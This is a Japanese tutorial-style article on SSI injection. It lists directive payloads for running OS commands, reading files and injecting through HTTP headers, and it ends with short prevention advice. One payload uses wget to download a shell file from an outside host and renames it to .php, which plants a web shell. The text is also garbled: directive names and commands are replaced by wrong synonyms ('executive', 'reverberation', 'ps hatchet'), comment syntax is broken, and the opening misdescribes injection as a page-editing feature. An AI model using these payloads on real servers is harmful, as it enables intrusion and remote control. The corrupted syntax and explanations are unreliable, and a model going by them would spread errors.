はじめに
複数のページを持つWebアプリがあり、各ページでナビゲーションメニューやヘッダー/フッタの文言を変更する必要があると仮定します。各ページのHTMLコードを個別に変更するのは手間がかかります。ここで、SSI(サーバサイドインクルードインジェクション)の仕組みが役立ち、必要な内容をすべてのページに一括して注入できます。
SSIとは、HTMLページに動的な内容を注入するために用いられるWebアプリの命令です。CGIに似ていますが、ページ配信前または配信中に動作を実行するために使われます。Webサーバはページを送信する前にSSIを処理します。
いくつかのSSIインジェクションの例を解析します。
モデル1
SSIの命令は、使用しているサーバのOSによって異なります。OSの命令実行用の構文は以下に示します。
Linux:
インデックス内のファイルは以下に示されています。
<!--#executive cmd="ls" - - >
ディレクトリに移動:
<!--#executive cmd="cd/root/dir/">
実行スクリプト:
<!--#executive cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" - - >
Windows:
インデックス内のファイル一覧:
<!--#executive cmd="dir" - - >
ディレクトリに移動:
<!--#executive cmd="cd C:\admin\dir">
モデル2
サーバ情報の取得・設定に関するその他のSSI例は以下の通りです:
エラーメッセージの表示内容を変更するには、次のように設定します:
<!--#config errmsg="File not found, illuminates clients and secret word"- - >
現在のファイル名を表示するには、次のようにします:
<!--#reverberation var="DOCUMENT_NAME" - ->
仮想パスとファイル名を表示するには、次のようにします:
<!--#reverberation var="DOCUMENT_URI" - - >
「config」命令と「timefmt」オプションを使って、日付と時刻の表示形式を変更できます:
<!--#config timefmt="A %B %d %Y %r"- - >
「fsize」命令を使えば、特定ファイルのサイズを表示できます:
<!--#fsize file="ssi.shtml" - - >
入力値としてSSI命令を注入し、脆弱なSSIが存在するかを確認します。サーバがSSIを有効にしており、入力値の検証が不十分な場合、命令が実行されます。従来のテンプレート注入と同様、入力値の検証およびサニタイズが適切に行われない場合に脆弱性が発生します。
まず、WebサーバがSSI命令をサポートしているか確認してください。SSIサポートは一般的なため、対応している可能性が高いです。対象サーバの種類は、情報収集でSSI命令の有無を調べることで把握できます(Fingerprint Web Server参照)。コードにアクセスできる場合、設定ファイル内の特定キーワードを探すことでSSI命令の使用状況を確認できます。
SSI命令と関連する.shtml拡張子のページを調べる方法もありますが、.shtmlが存在しなくてもSSI注入攻撃の対象でないとは言い切れません。
次のステップは、考えられるすべての入力経路を洗い出し、SSI注入が可能か評価することです。
まず、入力値が反映されるページをすべて確認してください。ヘッダやクッキーなども入力経路の例です。入力値がどのように保存・利用されるか(例:エラーメッセージやページの一部として返されるか、またはエスケープ処理が行われているか)を判断します。ソースコードにアクセスできる場合、入力経路とその取り扱いは把握しやすくなります。
可能な注入箇所のリストができたら、入力値が適切にフィルタされているか確認してください。SSI命令、たとえば !#=/."> のようなものが注入可能であることに注意してください。[a-zA-Z0-9] や [a-zA-Z0-9] がその例です。
下記のコードは変数の値を返します。参考欄には、フレームワークの評価に役立つサーバ固有のドキュメントへのリンクが含まれています。
->!-#reverberation var="VAR" - >!- #echo var="VAR" - >!- #echo var
対象のファイルがCGIスクリプトの場合、CGIの出力がinclude命令で組み込まれます。この命令は、ディレクトリ内のファイル一覧表示やファイル内容の読み込みにも使用できます。
->!-#incorporate virtual="FILENAME" - >!- #include virtual="FILENAME" - >!- #include virtual="
OSの命令の実行結果を表示するには、次のようにします:
->!-#executive cmd="OS COMMAND" - >!- #exec cmd="OS COMMAND" - >!- #exec cmd
この命令は、Webアプリが脆弱な状態である場合に注入され、ページ配信時にサーバが処理します。
Webアプリが入力値を用いて動的なページを生成している場合、APIセキュリティがあってもHTTPヘッダにSSI命令が注入されることがあります。
GET/HTTP/1.1
Host: www.example.com
Referer: <!- - #exec cmd="/container/ps hatchet"- - >
Client Agent: <!- - #include virtual="/proc/variant"- - >
SSI命令で使用される文字はそのまま利用可能であってはならず、入力値は必ず検証する必要があります。SSIインジェクションを防ぐ別の方法として、入力値をHTMLエンコードしてWebページに表示する方法があります。命令は必要な箇所に限定して、サーバの設定ファイルに個別に追加することが可能です。SSIは.htmや.htmlのページでも動作します。攻撃者が脆弱性を見つけやすくなるため、.stm、.shtm、.shtmlの拡張子は使用しない方が望ましいです。
最新情報を購読